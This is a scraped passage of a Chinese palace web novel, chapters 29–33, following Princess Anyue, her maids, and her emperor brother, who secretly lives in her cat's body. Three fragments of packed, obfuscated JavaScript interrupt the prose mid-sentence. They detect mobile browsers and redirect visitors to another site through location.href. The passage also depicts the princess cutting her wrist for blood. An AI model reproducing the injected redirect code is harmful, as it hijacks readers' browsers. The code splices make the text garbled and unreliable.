“昨夜姐姐替公主催要冬衣,夜里下了雪,走得急了些,不小心撞着了太后娘娘。太后娘娘罚姐姐在雪地里跪了一夜,半夜才回来。结果起了高热……” 这种时候宫里那些宫女都不知道去哪躲懒了,清栀为求办事稳妥,都是亲力亲为。 “这么大的事,为何不同我说?” 安玥推门出去,急忙忙赶到偏殿,见大红撒花的榻上卧着一人,离得近了,看清那张红得不正常的面。 “公主……”她饧涩着眼看她,就要下榻,被安玥按回去。 安玥语气不容置疑:“歇着。” 她抬手摸了摸清栀额头,摸到一手滚烫。她眉心蹙在一起,“找医官看过没有?” 若桃神色焦急,“叫不来人。只能用每月发的甘草生姜先撑着。” “烫成这样,用这些怕是不抵用?这偏殿又这么冷,让人取些炭火来。” 若桃欲言又止,这样的事不是头一回了。安玥看出她顾虑,“有多少就先拿出来用,不要替我省。” “我那儿还有些银子,给那些人悄悄塞点钱,让人拿了到外边买些药回来。” “奴婢这就去。” 安玥眼眶泛红,垂着头,藏在袖间的手隐隐发颤。清栀泛白的嘴唇动了动,声音不再如以往清亮,“公主……没事的,你先回去。睡一觉起来就好了。” “不要。两人挤一挤,还能省炭呢。你睡吧。”她在榻边坐下,被冰凉的杌櫈冻得打了个激灵。 她的那些首饰都刻有宫里的字,流通不出去,这种关头几乎与死物无异。只能靠手中那些的例钱。 今日下了雪,窗外灰蒙蒙的,安玥在偏殿坐到下午,窗外都透不进一点光。不知过了多久,一道熟悉的身影出现在雪地里。 安玥将殿门打开一条缝,若桃同风雪一道挤了来。她手里端着半碗药汁,眼眶红红的。 安玥问:“怎么了?” 若桃咬着下唇,摇摇头。她抓着药碗的手有些泛白,“公主,那太监拿了银两,却尽拿些霉腐的药充数。最后还是宫里姐妹凑了些药过来。” 这冬日药材珍贵,真到了时候都是保命的东西,大多数宫女生了病,小病靠抗,大病要么送出宫去,要么便只有草席一裹,能凑到这些已是不易。 “不成,这样的药哪里能给人喝?”她回头看向榻上的清栀,她双目紧紧阖着,双颊通红,已然有些神智不清了。 “我去找医师。”她推开门就要出去。 “公主。”若桃急忙将人拉住,“没用的,奴婢去过了。他们不敢来的。” 安玥身子僵住,她一手仍扶在殿门上,偶有几片雪落在她眼睫上,“是我连累你们。如果你们想出宫,我不怪你们。” 若桃当即跪下,“是奴婢说错话。” 风将安玥的鼻子刮得有些泛红,她吸了吸鼻子,将门合上,转身将人扶起,“我不是这个意思。” “奴婢不走。奴婢十岁就跟着公主了,公主在哪奴婢就在哪。清栀姐姐也不会走的。下边还有不少人承公主这些年的恩情,也愿意陪着公主。” “先让清栀喝药吧。” 月洞窗外漆黑一片。远处两盏灯静静飘着,泛着暗红的光芒,如同野兽的眼睛,注视着金殿内的一举一动,不知何时就会窜出来吞噬,撕咬。 灯屏上的烛光在冰冷的匕首上反射出银寒的光,下一瞬,匕首割破手腕,鲜红的血液从白皙的皮肉中渗出。 安玥痛得直吸气,眼泪花子往外冒。她顾不得疼痛,将手腕对准玉盏。血滴滴落盏中。 没过一会儿,她开始觉得头晕,身子也提不起劲。她知晓这样不行,连忙取出帕子把手腕缠住。 安玥低头,便见咪儿蹲在角落看着自己。她唇角勾出抹笑,缓缓靠近:“借点血用用?” 30. 第 30 章 咪儿朝她叫了一声,听懂般转身要跑。安玥早有预料,一把将他捞进怀里,“逗你的。” 她小声道:“我回头让若桃看看厨房里有无鸡血,偷些来。” “天杀的国师,我与他无冤无仇,他竟如此暗害于我。”她几乎磨碎了后槽牙,仍觉不解气,“皇兄也是个忠奸不分的蠢蛋!” “皇兄是蠢蛋!” 安玥心中一骇,看清是咄咄。她手忙脚乱做了个嘘声的动作,小声:“别说了祖宗!小心皇兄把咱俩烤了。” 曲闻昭被她抱着,心中冷笑。 安玥抱着他上榻,低头却见咪儿盯着自己的手腕,那一处还在隐隐作痛。 安玥撩开袖子,“你帮我揉揉呢?” 咪儿听懂般,抬起爪,迎着安玥期待的目光,咪儿轻轻推了推她小臂。 安玥:“……” 小没良心的。 曲闻昭睡到半夜,听身侧的人迷迷糊糊:“好冷啊,咪儿你冷不冷?” 他往她怀里钻了钻。 安玥:“……好想有一筐炭啊。” 第二日,宫内传出消息,说安玥公主为给陛下抄经祈福,失血过多,夜里又起了高热,昏迷不醒。 胡禄顿了顿,接着道:“眼下外头人人皆道公主与陛下兄妹情深,公主实是重情重义之人。” 曲闻昭将手中药碗放下,轻笑了声。 他竟然不知,她如此关心他么? 珠帘摇晃,他从榻边起身,修长漆黑的人影投在金砖上,“更衣吧。” 胡禄未反应过来,“陛下,去哪儿?” “既然人人都传我与她兄妹情深,若是此时不撑着‘病躯’去看看她,岂不是显得孤是无情无义之人?” 安玥躺在帷床上,伸出一根手指,百无聊赖得勾卷着纱幔。 忽地一道风吹过,将垂着的纱帘掀开一角,接踵而至的是一股清冽的冷香,像是…… 她察觉到什么,吓了一跳,飞快缩回手指闭眼。与此同时帘外传来骂声,“皇兄是蠢蛋!皇兄是蠢蛋!” 咄咄叫了两声突然不出声了,漫长的死寂中,外面突然传来一声轻笑,这笑声低沉,透着几分暗哑,似是从喉咙口溢出一般。 安玥不知怎的,感觉心里生出一股不好的预感,便听帘外炸毛似的传来声音,“杀鸟啦!杀鸟啦!” 曲闻昭一只手搭在鹦哥的后颈上,鸟羽柔顺,血肉温热,但只轻轻一捏,这些东西顷刻便会变得冰冷僵硬。 终于,帐内传出些动静,曲闻昭微微侧目,见榻上的人不知何时起来了。隔着朦胧的纱,里面传来一道虚弱的声音,“皇兄?” 她似是刚醒,声音还有些虚弱。 他放轻了手上力道,似是安抚般,一下接一下抚摸着鸟羽。日光穿透牖页,斜斜照在人身上,他微微侧目,朝着帘后的人一笑。 “妹妹身子可觉得好些了?” 安玥看清他神色,一时忘了动作。待反应过来,方明白,皇兄是来试探她的吧? 安玥心间颤了颤,“劳皇兄挂念,好多了。皇兄恕罪,安玥此刻衣衫不整,怕是不能行礼。” “你身子未愈,本不必在意这些虚礼。妹妹是为我抄经方生的病,皇兄心里实在过意不去,让内务府送了些补充气血的丹参草药,希望能对妹妹身子恢复有用。” 帘内,若不是隔着层纱幔,安玥这会面红耳赤心虚的模样怕是一眼就要让人看出来了。 她低着头不敢看外面的人。 曲闻昭声音温和,让她一时摸不清这究竟是试探还是关心。 曲闻昭挑起一双似笑非笑眼,目光掠过帷幔,隔着层纱,只这么轻飘飘一眼,似是能把人看穿。 他一只手抚上放在书柜上层的经文。 安玥看清他动作,不自觉屏住了呼吸。下一刻,曲闻昭将那卷布帛拿出,骨节分明的手抓住卷轴,如同扼住了人的脉搏。 她没忍住咳了两声。 “这便是妹妹为我抄的经文吗?” 她小声:“...是。” 曲闻昭目光落在布帛的血迹上,每个字都是用鲜血绘成。却不是人血。 小骗子。 他悠悠开口:“这字...” 安玥呼吸一窒,听那头似是轻笑一声:“极好。” “皇...皇兄喜欢便好。” “妹妹写的,皇兄自然喜欢。” 安玥摸不准曲闻昭是什么意思,听到这一声更是觉得窘迫,没忍住站起身,却不想起得急了,大脑一片眩晕,浑身脱力,整个人向前栽去。 她心下一惊,未等到预料中的疼痛,被一只有力的手稳稳扶住,紧接着钻入鼻尖的是那股熟悉的冷香。 似松,似雪。 她抬起眼,和那双含笑的目光对视上的一瞬间,顿时想起自己如今只穿着件里衣。 她面色熟透,下意识弹开,又被虚虚拽着手腕。 布了薄茧的指腹轻轻摩挲过结了痂的伤口。 安玥怔了下,抬起头,见皇兄目光盯着伤口,神情有些晦暗不明。 “皇兄?”她试探性的唤了一句。 曲闻昭目光恢复以往笑意,“妹妹小心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755115|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 突如其来的关心,让安玥生出几分恍惚,“皇兄身子可好些了?” “还有些乏力。妹妹确定要这样和我说话吗?” 安玥听出他话里揶揄的味道,低头看一眼自己。她此刻只穿了件中衣,衣料是用上好的蜀锦制成。屋内生了炭,并不冷。 小衣薄薄得贴在身上,勾勒出女子细瘦的腰身。 因为起得急,她未穿鞋袜就下了地,露出一双雪白的足踩在地上。 她羞耻得不行,几乎是一下子蹦回到帷幔后。她心扑通直跳,说不出话。好在令人尴尬的气氛并未持续太久,一双骨节分明的手伸入帷幔,将她的衣裙递来。 “多...多谢皇兄。” 她要把衣裙接过,不料扯过一般,裙上系带勾到了曲闻昭无名指上。明黄色的系带缠绕在修长的指尖,平生出几分旖旎。 “皇……皇兄你等一下,带子好像勾住了。” 曲闻昭感受到帘后人慌乱的动作,轻轻笑了声,“不急。你我是亲兄妹,不是么?” 安玥见皇兄无取笑生气的意思,心绪稍定,动作娴熟了许多。 这本就不能怪她。曲闻昭来时无人通禀,这不用想也知道是谁的手笔。 曲闻昭感觉到几根柔软温热的手指蹭过指尖,带动缠在指间的丝带,像是一根小指在心上轻轻拨了一下,有些痒。 他眼中笑意一僵,待到系带解开,他收回空荡荡的手。 安玥换过衣物出来,原本空荡的杌櫈上多出一道颀长的背影。 玄色长袍垂下,将殿中的万般颜色都压了下去,俱是清冷之气。偏生他指尖逗弄笼子里的鸟,时不时传出“啾啾”的声音,又添几分生气。 “过来坐。” 安玥还未忘记自己“尚在”病中,她走两步便要喘一下,还不忘咳几声。她到对面坐下,“安玥怕过了病气给皇兄。” “无妨。妹妹在病中,皇兄也在病中,正好,病气相抵了。” 安玥不知皇兄哪来的歪理邪说,一时哑口无言。便见对面唇角微牵,“这鸟儿有趣,送给皇兄解闷可好?” “皇兄不是不喜欢吗?” 曲闻昭看她,似是不解:“并未不喜啊。” “这鸟儿都被若桃她们教坏了,嘴上没个把门的,怕惹了皇兄不快。安玥改日再送一只乖巧的给皇兄。” 他指腹轻轻抚过鸟颏,悠悠道:“不乖巧的,也很有趣。” 安玥在屏息凝神盯着他动作,好在咄咄很争气,没再像上回那般咬他。他一口气还未松到底,咄咄口吐人言:“皇兄是傻蛋!皇兄……” 31. 第 31 章 安玥面上血色登时退了个干净,她飞快将鸟笼夺过,咄咄被这么一晃,消停了片刻。安玥觉得脖颈似有千金重,她头要埋进鸟笼里,一只手戳了戳咄咄的脑袋,哆哆嗦嗦道:“谁教你的这些?不得无礼!” 曲闻昭坐在一旁,含笑看她:“我竟不知,妹妹背后是这么想我的?” “不是……”安玥抱着鸟笼,像只鹧鸪,她声音因为心虚,小了许多。她鬓间发带也软绵绵垂了下来。她头上褪了钗环,那根系带跌落在肩窝处。 曲闻昭在那一处看了许久,终于抬手。 安玥却攸忽间想到什么,陡然抬头:“安玥不止二皇兄一个皇兄呀。” 曲闻昭伸出去的手在空中顿了下,他眼底笑容一点点散了,他抬手似要抚她的的头,最后却在她发尾落下,意味不明:“是啊,不止我一个。” 安玥不知怎的觉得这目光有些冷,她僵着身子去倒茶,温热的茶水在空气中氤氲开白色的水雾。 她将杯盏递给曲闻昭,不想刚一抬手,眼前一阵发黑。手上也失了力道。她只听到杯盏坠地发出的撞击声,整个人跌入一个温暖的怀抱,没了知觉。 等再度醒来,已是半夜。守在床边的若桃见安玥醒来,目色一喜,连忙端了药来。 药辛喂冲得安玥霎时清醒了许多,她下意识捏着鼻子往后避了避。 “公主,太医说您气血不足,又情志不定,身体虚弱,要喝了药才会好。” 安玥转移话题:“外面的羽林卫撤走了吗?” “……暂时尚未。但陛下送了许多丹参药丸给公主,定然是体恤公主的。只是权宜之计。” 安玥眼睫颤了颤,垂了下来。 算了,物证摆在那儿。她又问:“那清栀呢?” “公主放心,陛下送了不少治风寒的药过来,都是上等的药。且已有医师替姐姐医治了。药快凉了,您把药喝了吧。” 安玥看了眼那碗黑漆漆的药汁,有些抗拒,面前多出一物。是枚蜜饯。 她忍住反胃,端过药碗,一手捏着鼻子把药灌下去小半碗,没忍住呕了声,飞快把手中蜜饯塞入口中。 本该是清甜的蜜饯霎时被一股苦味包裹。 她声色虚弱,面如枯槁,“还有吗……” 若桃连忙把剩下的一包蜜饯都放到安玥手里。 安玥睡了一觉,等再醒来时,已近亥时。她想起今日还未同两个小家伙亲近。走到偏殿,一推开殿门,却见到令她永生难忘的一幅场景。 咄咄不知何时打开了笼子,在半空逃窜,咪儿则懒懒坐在地上,待它飞得精疲力尽,咪儿猛地暴起,将鹦哥摁在爪下。 咄咄剧烈挣扎,宁死不屈,费力啄向咪儿的爪子。 安玥登时清醒了大半,急急打断:“你们在做什么?!” 咪儿听着声音,不紧不慢将手收回。它理着被弄乱的毛发,浑然不觉自己做错了什么。 可笑,他在屋子里呆得好好的,那蠢鸟突然出声挑衅。他原本懒得计较,未曾想它竟直接破开笼子上来啄他。 不知死活。 咄咄见着安玥,如乳燕投林,缩在她肩上,翅膀也贴紧了身体,俨然是惧极了的样子,她伸手把咪儿揪起,佯怒:“你在做什么?” 咪儿斜睨了她一眼,一语不发,挣扎了几下,要从她手上跳下去。 安玥看了眼缩在肩上的咄咄,安抚了阵。好不容易等到咄咄平静下来,安玥一扭头,却见咪儿已不见了身影。 她猜咪儿没准到哪儿闹脾气去了,可瞧着这黑灯瞎火的,仍有些不放心,只好提着灯笼去寻。 她寻了一圈也未找着,有些不安。 “咪儿?”安玥唤了一声,没等来回应。她安慰自己,咪儿没准是躲在角落故意不出来,就想瞧着她团团转的样子。 “你出来,我不打你。” 安玥在原地张望了阵,不知是否是心意相通,她鬼使神差往墙角走去,却见咪儿缩在角落,一只脚被木夹夹住,血肉模糊一片。可饶是如此,他仍挣扎的,仿佛感觉不到疼一般,一声未吭。 那木夹裹了铁齿,本是用于捕野兔,不知被何人蓄意放在那儿。 安玥面上血色褪尽,忙不迭将木夹打开。她手抖得厉害,半晌才帮咪儿的脚拿出来。 她将咪儿抱在怀里,不顾被血染红的衣裙,“痛不痛?” 咪儿浑身有些发僵,垂着头未理她。安玥见血越流越多,忙抱着咪儿回去,取药止血。她眼眶红了一片,看着鲜红的帕子,“怎么流这么多血。” 曲闻昭抬眼看她一眼,心中郁结散了大半。他伸着爪,由安玥动作。 却不防臀上微痛。 安玥生气道:“好端端的乱跑什么?连木夹都没看到。” 咪儿僵了瞬,似要跳下去。不知怎的最后又爬回她膝头不动了。 好在伤口只是看着严重,因她赶到及时,未伤着骨头。安玥替他包扎完,说教道:“你下回受伤,好歹要吭一声,不然我怎么能及时把你接回家?” 安玥抬手轻轻安抚,“说来也奇了,我明明看不见你,但我就是猜到你在那儿。你说咱们是不是心有灵犀?” 咪儿仰头看她一眼,打了个哈欠,钻入她怀中。安玥见了也觉得困得不行,带着咪儿到床上睡了。 又过两日,安玥等身子恢复大半,却听人说皇兄卧病不起,俨然是病情加重了。 一时宫内人人自危。虽说前几日陛下念及兄妹情,送了药进宫。可陛下一死,几乎就落实了公主施巫术的罪名,届时公主必然也活不成了。 势衰则人轻,这几日连送进宫内的吃食也寒酸了许多,每年这个时候送进宫的绫罗绸缎,如今被人草草送了几匹粗布麻衣了事。一大早,便是宫中侍女在和尚食局的宫女争执。 安玥推开门,便听角门外含沙射影:“能活到几时都不知道了,吃那么好做什么?” 宫内的侍女气得面色涨红,险些说不出话。安玥有些听不下去了,这都能忍下去她真就是个死人了。她索性踏出门槛,“要死了也得吃饭啊,况且我还没死呢。” 尚食局的宫女见人出来,面色先是变了变。安玥前几日小病了一场,瞧着瘦了些,身上穿得还是去年的旧衣,可偏生气色不减,白里透红,羽睫凝了些雪气,眸若星河,只随便往那一站,仍端得是仙姿玉貌。十成十得承了当年姜贵妃的好相貌。 她收回打量的目光,三角眼不耐得一瞥,“只有这些,再多便没有了。”说罢觉得不解气,低声骂了句:“什么也不干,吃得比咱们这些下人还好。以前是公主也就罢了,现在……” 小宫女气极了,指着她:“你……你说什么呢?!陛下并未剥夺公主封号!” “知道了嘛。”对面眼睛一挑,不冷不热嘲讽了句,“好了,这大冷天的,我还有旁的事要做,没空和你耗了。” 她说罢将那膳盒往空中一提,侍女抬手要接,就在要触到提手时,那膳盒骤然往下一坠。 里边的饭食尽数撒在雪地里,俨然是不能吃了。对面趾高气扬,“看什么看,你自己没抓稳的。反正你也嫌弃,正好,不用吃了。” 凭什么有些人生来就有那么好的命,她们就得为奴为婢?况且如今,他们也没什么分别了。她凭什么颐指气使?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759389|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 还当自己是公主呢? 原本上回她生病,陛下送了药材来,她们还以为是这位要复宠了。可一连几日过去了,守在外头的羽林卫仍没有要撤离的样子。可见只是陛下宽厚仁善,都是些表面功夫罢了。 小宫女气得眼眶都红了,眼看着眼泪啪嗒啪嗒要往下掉。安玥原本自己没饭吃还想哭,见着她先落泪了,忙打住,“没事没事,饿一顿死不了的。”晚一些大抵会有杂役房的人送些剩菜剩饭过来。 安玥见地上还有小半盘鱼肉,她眸光亮了亮,将地上收拾好,端着鱼肉进屋。推开门,果真见咪儿窝在炭火旁。 她将那鱼肉端到咪儿面前,它起身嗅了嗅,勉强吃了几口,又窝了回去。 安玥怔了怔,将鱼肉放下。等晚些时候再来,原本半碗鱼肉被啃得只剩下中间的鱼骨。 她哑然笑了笑,往屋内环顾了一圈,却寻不着咪儿的影子了。 她把能找的地方都找了一遍,肚子咕噜噜直叫,最后一个人坐在灯下,有些心急。 这么冷的天,能去哪呢? 她以往未把咪儿关在笼子里,是因为知道咪儿不会乱跑。这会她有些后悔了。外边这么冷,它若是去觅食,寻着了自己回来,倒也好说,可若是被宫人打杀了去…… 昏黄的烛光被笼在殿内,外面是漫长的夜,风雪未停。 两侧的乌木描金屏风挡住了牖页透进殿中的风,上头绘着百鸟朝凤,衬以牡丹,栩栩如生,好似鲜嫩的花被轧在了屏风上,牢牢贴着。 太后坐在软榻上,她膝上盖着块羊皮毯子,一只雪白的狸奴趴在她膝头。时不时蹭蹭她掌心。 太后便拿备好了的鱼干喂它。 亦姝在一旁道:“娘娘,这小狸奴亲人的很呢。” 太后因得知新帝病重的消息,这几日心情颇佳。新帝因人伦孝道,留着她的命。却让她日日饱受丧子之痛,而她,只能活在仇人的控制下。她这辈子最后悔的,便是答应先帝,把这孽障养在膝下。 果真是孤星临门,刑克六亲。 好在上天有眼,他活不长了。 太后微微凹陷的脸颊动了动,她笑了声,“你从何处抱来的?” “奴婢盯着下边的人在外头扫雪,听见有猫在叫。便出去瞧了眼,见它站在门外瑟瑟发抖,瞧着可怜,奴婢便把它抱进来。奇也怪哉,亲人的很。” 太后摸了摸狸奴的头,“说不好是有主的。” 亦姝柔声道:“哪有主子大冷天把狸奴丢在外边的,要不然便是冷宫哪个妃子死了,要不然便是不想养,弃了。” 听罢,太后眼底才恢复些笑意。这狸奴雪白干净,又亲人,她实在喜欢的紧。加之这狸奴与她有缘,说不好是死去的婺儿回来看她了。 曲闻昭换了身,忽觉今日的镜烛宫比以往暗些,炭火也旺了不少,弥漫着一股令人厌恶的檀香味。 他尚未反应,一只苍老的手伸来,往他背上去。他浑身炸起,仰头看见一张雍容华贵的脸。 他目色一凛,眼中寒意散开。太后未来得及反应,手背被一爪子抓破。 原本莹润的手登时生出两道血痕,深可见骨,剧痛席来,伴着血腥气。 亦姝面色惨白,连忙上前查看伤势。趁着这个功夫,狸奴已经不带一丝留恋地跳下她膝头,窜入风雪中。 太后捂着伤,本和善的面容因疼痛皱在一起,倒有些狰狞。 一时周遭有心惊胆战叫传太医的,有“扑通”跪在地上求太后恕罪的,有大喊抓畜生的。 曲闻昭自知这个身体无法与那帮人来硬的。他窜出宫门,直奔镜烛宫。 32. 第 32 章 他出了角门,一路往西,两侧是高大的宫墙,遮住了光亮,只能听见身后的脚步,随风声呜呜,踩在积雪中。 他隐隐有些后悔,这个时辰,宫门大抵已经落锁。外墙又没有可以踩的地方,若要翻过去,只怕艰难。就算不被那帮人抓住,待一夜过去,他尸体都僵了。 可兴许是因为这具身体的习性使然,他第一反应竟是往镜烛宫去。 他不知跑了多久,风雪渐停,狭窄的宫道尽头,几盏光隐在黑幕下,渐渐的,那光越来越亮,他被笼在那光里,转而风消雪融。 渐渐的,他步子不由得慢了。 他穿过羽林卫看守的角门,看到了一条缝,刚好能够他穿过去。他回到了熟悉的院落。门口的树只剩下光秃秃的枝干,被冰雪挂满。不远处的殿内还亮着灯,檐下排排冰凌沾了灯辉,他不经意放缓了脚步,朝那头走去。 闭起的门上,映着一道人影。她坐在灯下,不知在做什么。 曲闻昭推不开门,便立起身,抬爪在门上拍了一下。 里边的人没动。曲闻昭有些不悦,又拍了下门。有点冷。 他冷嗤,不过这么些时日,便养得腻了么? 曲闻昭张了张口,发出了一声猫叫。这一声后,里面的人动了。他听到“哒哒”的脚步,紧接着寝殿的门“哗”得开了。 安玥低头,便见咪儿站在门外,那狸奴尚未来得及反应,她一把搂住他,喃喃道:“我还以为你不回来了呢。” 她只顾着说话,浑然未察,怀中的狸奴正伸出双臂,费力撑着她揽住自己的手,往上挣了挣,却只能探出一个头,半点动弹不得。 许久过后,安玥低头,见咪儿似是回应,抬起一爪,有气无力拍了下她手。 安玥将咪儿放到一只笼子前,那笼子极小,里面的耗子受了惊吓,“吱吱吱”得直叫。 她亦被吓了一跳,往后躲了两步,结巴道:“这……这是若桃专门给你抓的……你若是饿,便拿去吃吧。” 安玥想了想,她以往不在的时候,咪儿不都是自己去捉耗子的么。只是这冬日天寒,才见不着耗子。 却不想咪儿只瞧了那耗子一眼,转身盯着她。安玥在那双眼睛里,难得的,竟品出些隐忍的意味。 狸奴也会做出这样的神情么?她果真是饿昏了。 安玥当他是在外边吃饱了,叹了口气,把他捞进怀里,“没关系,等明日天亮,就有饭吃了。” 她不由得想,咄咄倒比咪儿好养活些,给什么便吃什么。不过没关系,她的东西,不管是人还是宠畜,本就该用最好的。 咪儿瞳孔闪了下,看向安玥。她忍着害怕,差人把那只耗子连笼移到偏殿,抱着他朝床榻走去,“没事,睡着就不饿了。” 第二日天蒙蒙亮,安玥听外头隐隐有嘈杂声。她实在是冷,清早的被褥,冻得能掉出冰渣。她辗转反侧,最后终是困意全无,支着身坐起。 过了会儿,殿门被叩响,清栀轻声:“公主,您起了吗?奴婢进屋来添炭。” 安玥看了眼炭盆,里边一丁点火星也无了。她吸了吸鼻子,“好。” 门被打开一条缝,清栀从殿外进来。安玥搓着手,一双目光都落在那只熄了的炭盆上,只盼着她快些燃起来,全然未察觉清栀手里还提着一个食盒。 “公主,这些是清早膳食局那头的人送来的。还热着,公主昨夜未用晚膳,快用些。” 安玥探了探脑袋:“是什么?” 她话落,又觉得是多此一问,无非是糙米,盐渍莱菔,麦饼类的。她最早还未见过这些东西,但见若桃生气的样子,便猜到这东西味道不会好。可最后方知,这怕不只是味道不好,简直是毒物。 一口下去,牙要崩掉半边不说,等到了时候,胃里也开始难受。 “殿下,是鸡丝火腿粥,佐了小菜。” “……你莫骗我。” 清栀冤枉得不行,“奴婢又不是若桃那小蹄子,哪能骗您?” 膳盒打开,安玥果真闻到一股香气。她肚子不争气地叫了。她面登时便红了。 安玥满心都是热腾腾的粥,她忘了冷,一掀被到桌边坐下,还止不住搓着手。 她拿起勺子,咽了咽口水。先舀了勺,递到清栀面前,“你先吃。” 她受难,若桃清栀也陪着她受难。如今有了点“福”,自然也是要同享的。 清栀心中微暖,要化开般,“奴婢不饿的,奴婢用过了。” 安玥不信:“你尝一口。” 清栀哪肯同她抢吃食? “奴婢……” 安玥摆出几分威严,“你不吃我也不吃了。” 清栀眼眶有些发热,却是笑了,“奴婢遵命。” 天蒙蒙亮起,窗外第一道日光穿透牖页,映在安玥面庞上。她晨起尚未束发,鬓边散落的发丝沾了点点晨辉,浮光跃金。 清栀吃了粥,去将架上的斗篷取下,盖在安玥身上。一碗热粥下肚,安玥手上有了温度。她觉得奇怪,想起问:“那件事……可是查清了?” 清栀摇摇头,“公主莫急,不远了应当。” “只是奴婢也觉得怪,今早那帮人过来,送了吃食不说,连炭火和衣裳也是一应俱全送来。脸色也不甩了。反倒个个恭恭敬敬。奴婢听说,今早好几名宫娥被上头处置了。许是陛下听了什么风言风语,替您撑腰呢。” “……真这样便好了。” 傍晚,曲闻昭手下太监来禀,说陛下招公主侍疾。 沿着楼廊穿过一道道隔扇门。前边的宫殿高敞静谧,脚下金砖铺地,跨入寝殿,的瞬间,安玥闻到一股浓郁的药辛气,面色微白,心不由得跳得快了几分。 殿中央设有一张紫檀木嵌金龙拔步床。榻旁立着雕花的落地灯,蒙着鲛绡,并不灼眼。 一侧摆着一只描金御案,陈放着青玉砚台、镇纸,还有堆积如山的奏折。 与镜烛宫不同,这儿烛火高燃,暖和极了。 隔着床帷,安玥行礼,“安玥参见皇兄。皇兄可好些了?” 一只手轻轻掀开帷幔,安玥看清躺在榻上的人。 几人未见,皇兄的面色似是又苍白了几分。此刻支着榻起身,清冷的眉眼间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773765|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多出几分病态,还有一股说不出的感觉,莫名有些危险。 曲闻昭看见她,轻轻咳了两声,坐起身。二人隔得不算远,安玥隐隐能看见皇兄端着药碗的手似乎在颤。 她连忙上前将药碗接过,“皇兄,安玥来吧。” 她跪在地上,素色的衣裙如花瓣绽开。她舀了勺漆黑的药汁,吹凉了,递到曲闻昭唇边。 曲闻昭低头,看清安玥轻轻颤动的羽睫。 曲闻昭叹了声:“如今外面,不只有多少是盼着我死的,那妹妹呢?” 安玥端着药碗的手僵了瞬,缩着脖子,“安玥盼望皇兄长命百岁。”她垂着头,一时忘了害怕,又有几分伤神。 六皇弟本就身怀腿疾,若是皇兄一死,最有可能上位的便只有痴傻的五皇帝。届时江山就真的要易主了。 她的处境只会更难。 况且皇兄虽可恶,却实实在在帮了她数回,这些日子也未再刁难于她,反倒在她卧病期间送了药过来。 “皇兄可曾怀疑过我?” “自然不会。” 安玥抬眸,似是不信:“果真信我?” 曲闻昭轻轻笑了声:“妹妹胆子这般小,干不出这样的事。” 安玥面色涨红,小声道:“原来皇兄也知道自己很讨人厌。” 可怜她从头到尾都只是这帮人设局的工具罢了。 “你说什么?” “安玥说,谁也不许咒皇兄死。” 曲闻昭原以为她会解释,未想到得到这么个回应,一时忘了动作。待回过神,手中多出一物。 “这枚平安符陪着安玥很多年了,有去凶化吉之用,送给皇兄。” 曲闻昭看着手中那枚平安符,符纸被装在布囊里,布囊未坠珠玉,应是贴身带着。粉色的缎面用金线绣了如意纹,针脚细密,里外透着精致。还留有少女的体温。 她没骗他。 他挑眉看她,“妹妹不是怕鬼吗?怎得把平安符给我了?” “皇兄得长命百岁才是。” 二人如今是一条绳上的蚂蚱了。 曲闻昭唇角微牵,“妹妹如今倒不避着我了?” 是啊,因为你看着好像活不长了。安玥动了动唇,把这般伤人的真相咽了回去。 “对啊,是因为皇兄是安玥的家人嘛。” 家。 好陌生的词汇。他突然觉得他这妹妹天真得有些好笑。父子相残,手足相残,夫妻相残,这才是他们的家。 安玥似是看出他在想什么,仰头看他:“安玥不会伤害皇兄,那皇兄会伤害安玥吗?” 这问题,还是一如既往的愚稚。 曲闻昭默了片刻,温声:“不会。” 安玥笑了,“皇兄一言九鼎。” 她看了眼药碗,目光微凝,“皇兄得的什么病?” “不知,只是感觉浑身乏力,太医也束手无策。” “那喝了药会好吗?” “聊胜于无吧。”他见她神色紧张,勾了勾唇,凑到她耳边:“若我死了,背后的人可就要拿妹妹当替罪羊了。” 33. 第 33 章 安玥面色微白,不知是替自己还是替曲闻昭,“皇兄会死吗?” “你放心,皇兄死之前,会把你摘干净的。” 安玥怔了怔,心绪有些复杂。 那几日的事好似已经翻了篇,谁都没提起。她一时也不确定皇兄是否对她起了杀意,最后话到嘴边,依旧没敢问。 明黄的帐幔束起,帐杆后,是一扇灯笼锦支摘窗,隐隐有日光透入。 窗上贴着道矮胖的黑影。 “这几日在宫里,下人可有怠慢?” 安玥摸不清这一句是什么意思,她却不是委曲求全的性子。犹豫了瞬,她仍是极小幅度点了下头。 曲闻昭轻轻笑了声,“妹妹希望如何处置?” “皇兄可是要替我主持公道?” “你是大晟的公主,是我的妹妹,我不替你主持公道,替谁主持公道?” 安玥心念微动,可依旧觉得缥缈虚幻得有些不实,“皇兄为何突然对我这么好?” 难得的,曲闻昭默了瞬。为什么呢? 觉得有趣?还是为了那一丝随时可以掐灭的妄念? 